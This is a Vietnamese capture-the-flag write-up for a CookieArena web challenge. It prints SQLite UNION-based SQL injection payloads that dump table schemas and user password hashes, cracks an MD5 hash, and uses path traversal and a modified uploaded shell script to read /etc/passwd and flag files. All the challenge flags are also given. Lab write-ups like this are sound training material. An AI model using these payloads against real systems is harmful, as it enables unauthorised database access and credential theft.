# Final Exam 0x03
Link challenge:
```
https://battle.cookiearena.org/arenas/final-exam-0x03
```
## K03FE FLAG 1
> Hãy khai thác lỗ hổng và truy cập vào cơ sở dữ liệu. FLAG nằm trong bảng chứa giá trị cấu hình hệ thống.
Đây là giao diện của challenge này:

Mình bắt đầu login vào trang:

Có lẽ không có khả năng để bruteforce nên mình chuyển sang BurpSuite và quan sát và tái tạo Request:

Do yêu cầu đề bài có đề cập đến giá trị cấu hình hệ thống nên có thể suy luận được Vuln param này sẽ liên quan đến `version`
Mình thử với dấu nháy đơn và dấu nháy kép và đã phát hiện ra chính xác đang bị `SQL Injection` với kiểu dữ liệu được dùng ở đây là `SQLite`

Và công việc tiếp theo chỉ là get flag,.. nhớ `Ctrl U` để decode xong rồi mới send nhé :+1:

> FLAG1: CHH{BA5ic_5qL_iNj3CtiON}
## K03FE FLAG 2
POV: Ở FLAG1 do mình hấp tấp, test luôn SQLi nên vô tình mình đã làm FLAG2 trước
> Sau khi truy cập vào cơ sở dữ liệu. Hãy tìm mật khẩu của cookie ở dạng hash. Thực hiện crack và đăng nhập bạn sẽ có FLAG số 2
Bắt đầu công việc can thiệp sâu hơi vào khai thác `SQLi`, và mình đã xác định được đây chính là bị SQLi ở dạng `UNION based`
* Xác định số cột thông qua `ORDER BY`

Đầu tiên với số cột = 4 thì trong Response đã cho mình kết quả chính xác số cột = 3
> "ORDER BY 3 --
* Xác định cột nào sẽ có dữ liệu trả về

Chính xác là cột 3 trả về dữ liệu cho chúng ta
> "UNION SELECT 1,'b','a'--
* Xác định tên `bảng`

Vậy là có 2 bảng là `users` và `configurations`
> "UNION SELECT 1,null,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
* Xác định tên `cột`
Như đã nói ở trên thì mình check cột của lần lượt `users` và `configurations` nên khá là mất thời gian. FLAG2 thì chỉ cần quan tâm tới bảng `user` Nói chung là khá quằn :vvvv

> CREATE TABLE users
(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username CHAR(50) NOT NULL UNIQUE,
password CHAR(32) NOT NULL
)
> "UNION SELECT 1,null,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'
Bây giờ chỉ cần truy vấn lấy dữ liệu, lưu ý nhớ dùng `group_concat` để tất cả dữ liệu trả về trong 1 bản ghi duy nhất

> " UNION SELECT 1,null,group_concat(username) from users --
> " UNION SELECT 1,null,group_concat(password) from users --
Thu được username theo đề bài là `cookie` và password có 32 ký tự nên mình nghĩ đến md5 `1ff61e91349d3f6623a81ccd3d881fa1` decrypt mà thu về đươc password là `harrypotter`. Thu hoạch FLAG2:
```
FLAG2: CHH{cr4ck3D_h45h_SQLi}
```
## K03FE FLAG 3
> Flag số 3 nằm trong file /etc/passwd, hãy tìm cách đọc chúng.
Sau khi đọc đề bài thì mình có những hướng liên quan đến đọc file như Path Traversal, File Inclusion, OS command, chung quy là mình muốn chèn shell để get flag :v:
Sau khi login vào được thì có thêm những chức năng mới như : `System` và `View`
Ở chức năng `System` thì cho phép chúng ta upload 1 file có định dạng zip và bắt buộc phải chứa 1 file version.txt
Còn ở chức năng `View` thì ta để ý tham số `&file=message` nên mình sẽ test xem có bị Path Traversal ở chức năng này để đọc /etc/passwd:

Okay có vẻ lùi 1 cấp thì không có tác dụng nên mình tiếp tục lùi 2 cấp và đã thấy nó

Quite easy nhỉ :vvvv không quắn như mình đã nghĩ trong đầu
> FLAG3 CHH{f1L3_path_tr4verSAl}
## K03 Start Me Now
> Đây là FLAG cuối cùng. Hãy tìm cách đọc file /flagXXXX.txt. XXXX là giá trị random ký tự và số.
Test nốt chức năng còn lại `System`. Như đã nói ở trên, mình sẽ `Backup` và down file đó về và quan sát

Trong file mình vừa download về thì ngoài `version.txt` là bắt buộc phải có còn lại `cat,free,ping,unzip,uptime` đều là những câu lệnh của hệ thống. Từ đây mình liên tưởng đến `OS Command Injection `
Sau 1 hồi quan sát nội dung trong file, chúng đều có 1 format:
```
#!/bin/sh
cat $1
```
Phân tích:
Đoạn script này được viết bằng shell và cần được thực thi trong đường đẫn `bin/sh`
`cat $1` sẽ đọc nội dung của tập tin được truyền ở dạng đối số sau đó in ra màn hình. Biến $1 là một biến đặc biệt trong shell, nó chứa đối số đầu tiên được truyền vào cho script khi gọi nó. Điều này có nghĩa là nếu bạn chạy script với một tên tập tin như sau: ./script.sh file.txt, thì $1 sẽ là file.txt, và dòng này sẽ hiển thị nội dung của file.txt.
Sau đó mình đã Extract file và thay đổi nội dung trong đó thay vì cat $1 thì mình chọn cat /etc/passwd. Sau đó nén nó lại và quan sát:

Boom, nó đã trả ra nội dung file /etc/passwd ở cột Network :laughing: và việc còn lại là `cat flag.txt

```
FLAG4: CHH{H4PPy_c0MmaND_INjeCtIoN_e4c1cb7db8c784f813d93c043a0eb189}
```
## Tổng kết:
Vậy là đã hết 4 challenge, mình sẽ tổng hợp lại những lỗi như sau:
* SQL Injection
* Path Traversal
* OS Command Injection
Cảm ơn mọi người đã dành thời gian đọc bài WriteUp của mình, nếu có gì thắc mắc, đừng ngần ngại để lại 1 commment.. Thân ái and See u guys